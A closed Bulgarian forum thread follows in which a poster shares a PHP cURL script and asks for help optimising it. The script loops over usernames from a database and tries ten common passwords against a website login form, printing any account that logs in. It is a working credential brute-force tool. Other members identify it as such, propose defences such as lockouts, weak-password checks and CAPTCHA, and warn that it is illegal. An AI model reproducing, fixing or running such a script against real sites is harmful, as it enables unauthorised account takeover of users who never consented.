cURL логър !

Статус
Not open for further replies.

dakata__92

Super Moderator
Здравейте ! Искам да си направя логър със cURL и си драснах едно кодче, но желая да го оптимизирам ! Та в базата имам някакъв набор от имена и жилая да пробвам няколко пароли и ако се логнат да ми изпише акаунта и така. Eто това драснах :

PHP:
<?php
include('config.php');
$Cookies = 'include/logger.txt';
$Location = 'http://example.com/';
$Realm = $Location.'login.php?realm=13&lang=bg';

//Ф-ция за взимане на информацията на страница.
function Get($url) 
{
	global $Cookies;
	$headers = array('Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
	'Connection: Keep-Alive',
	'Content-type: application/x-www-form-urlencoded;charset=UTF-8'); //масив с хедъри, които да прати при заявката
	$user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'; //user agent, с който да се представи скрипта

	$process = curl_init($url); // стартираме cURL
	curl_setopt($process, CURLOPT_COOKIEFILE, $Cookies);
	curl_setopt($process, CURLOPT_COOKIEJAR, $Cookies);
	curl_setopt($process, CURLOPT_HTTPHEADER, $headers); // задаваме хедърите, които искаме да пратим
	curl_setopt($process, CURLOPT_HEADER, 0); // задаваме не връща хедърите, които е получил от сайта
	curl_setopt($process, CURLOPT_USERAGENT, $user_agent); //задаваме user agent-а
	curl_setopt($process,CURLOPT_ENCODING , 'gzip'); //задаваме енкодинга
	curl_setopt($process, CURLOPT_TIMEOUT, 30); // максимален брой секунди за изпълнение на cURL заявката
	curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); //Това задава на cURL да върне резултата с функцията curl_exec. Ако е зададен false, резултата се принтира директно на страницата
	curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); //Зададен е true, за да последва, ако сайта редиректва към друга страница
	$return = curl_exec($process); //Изпълняваме процеса и връщаме съдържанието на страницата в променливата $return
	curl_close($process); //затваряме cURL
	return $return; //Връщаме HTML кода
}

$our = mysql_query("SELECT count(id) as user_total FROM `people`"); 
while($ra = mysql_fetch_array($our))
{ 
	echo "Имаме <b>" .$ra['user_total']. "</b> акаунта!<br>"; 
} 

$arrPass = array('123456','654321','123456789','987654321','134679','976431','qwerty','qazwsx','0123456','abc123');

$options = mysql_query("SELECT * FROM `people` ORDER BY id ASC"); 
$acc = 1;
while($r = mysql_fetch_array($options))
{ 
	$name = $r['name'];
	foreach($arrPass as $thepass)
	{
		$ch = curl_init();
		$data = array('uname' => $name, 'password' => $thepass, 'form_submit'=>'Вход');
		curl_setopt($ch, CURLOPT_URL, $Realm);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
		curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
		curl_exec($ch);
		curl_close($ch); 
		$see = Get($Location.'village3.php');
		if(preg_match('/\<div  id\=\"rwood\"\>/',$see))
		{
			echo "<font color='green'><b>(№ $acc - $name - $thepass)</b></font><br>";
		}
	}
	echo "<font color='red'><b>№ $acc - $name</b></font><br>";
	$acc++;
}
?>
 
Темата е все още актуална ! Ако някой има кодче с което да се ориентирам как да си го направя или ми преправи моя код, понеже не е изобщо правилен ! Ту работи ту не работи ...
 
Какво точно искаш? Ако имаш някаква логин форма, да изпробваш различни потребители/пароли върху нея и която стане да ти изписва: Това е паролата: потребител:парола

Така ли? Това повече ми прилича на BruteForce скрипт , който искаш да си направиш или греша? Ако е така може да ударя едно рамо, но освен за злорадски цели както казвам, за друго не знам за кво ще го ползваш? Луда работа, защо "аджеба" както викат ти е подобен скрипт?

П.П. Сега.. като се сетих: май бяха забранени подобни скриптове в Туриста, а? :)
 
Ticketa каза:
Какво точно искаш? Ако имаш някаква логин форма, да изпробваш различни потребители/пароли върху нея и която стане да ти изписва: Това е паролата: потребител:парола

Така ли? Това повече ми прилича на BruteForce скрипт , който искаш да си направиш или греша? Ако е така може да ударя едно рамо, но освен за злорадски цели както казвам, за друго не знам за кво ще го ползваш? Луда работа, защо "аджеба" както викат ти е подобен скрипт?

Да това си е с такава цел ! Но желая да го направя за мое сайтче защото хеширам паролите в базата, а не желая да ги записвам никаде в нормален вид ! Плюс това потребителите често си сменят паролите и желая да проверявам като си изкарам от базата всеки един и пробвам с BruteForce да се логна при него! Напоследак изреваха доста, че им атакували акаунтите и откачих, та решх да си направя такъв код за да пробвам всеки акаунт по отделно ! Каза, че можеш да дадеш едно рамо ще съм ти благодарен много :)
 
Имам по-добро предложение. Напиши си АНТИ-бруте форс :) Какво искам да кажа?

Като идея:
1. пробвай се да блокираш проксита(не можеш всички или пък да си играеш да добавяш постояно.. не е яко? Не си навит) Но имаше начин как да намалиш процента от проксита.
2. блокирай потребителя при 3-4 грешни пароли за определено време. Това става с малка проверка в базата, една таблица за запис на грешните пароли. :) Мисля, че има теми във форума, но можеш да погледнеш и в нета за уроци от сорта на: php/mysql log limiter | php mysql block account | How to limit login attemps?

И така на татък.
3. направи така, че при регистрация и промяна на паролата, да не се добавят лесни пароли (сещаш се: 1234, 12345, 123a, 123456, parola, password, root, admin, toor, 0987654321) и т.н. - помага

За друго не се сещам. Обмисли тоя вариант и ми драсни ЛС. Как мислиш? Не е ли по-добре това, от колкото да си играеш да пробваш паролите на свойте клиенти?

Също така като идея. Можеш да си драснеш някакъв "crypter" и да кодираш информацията т.е. хеша + salt-а, КАТО след като е кодирана, при вход да е "декодираш" от базата и да проверяваш вече дали е валидна паролата. Малко по-бавно става всичко, но пък е добро. Защо? Ако някой ти се сдобие с базата данни , няма как да знае как си е кодирал.. освен ако няма криптера + уникалния ключ за него. В повечето случай Акерите взимат само базата, защото не могат да вземат и файловете..

:)
 
Да и това е варянт да проверявам при входа още за лесни пароли, но в момента идва, че имам доста регистрирани потребители, а за новите които ще се регват ще го измисля и това ! Като цяло можеш ли да ми помогнеш по първия въпрос драснах си кодче със cURL но има някакво несъответствие и несработване на нещата ту работи ту не проверява и ее доста тежък ... Формата е подадена на cURL-а както виждаш и няма нужда дори да я поставям тук :)
 
Сложи това https://www.keycaptcha.com/ и няма как някой да ти bruteforce-не потребителите.

П.П. надявам се, че осъзнаваш, че въпреки, че сайта е твой е противозаконно да се опитваш да разбиеш акаунтите на свойте потребители и те могат да те осъдят за това, нали?

П.П. 2 - за всеки случай, ще докладвам темата за да може модератор да прецени дали е етически корекно да се обсъжда това в туриста, ако няма проблем, повече няма да пиша в нея.
 
Статус
Not open for further replies.

Back
Горе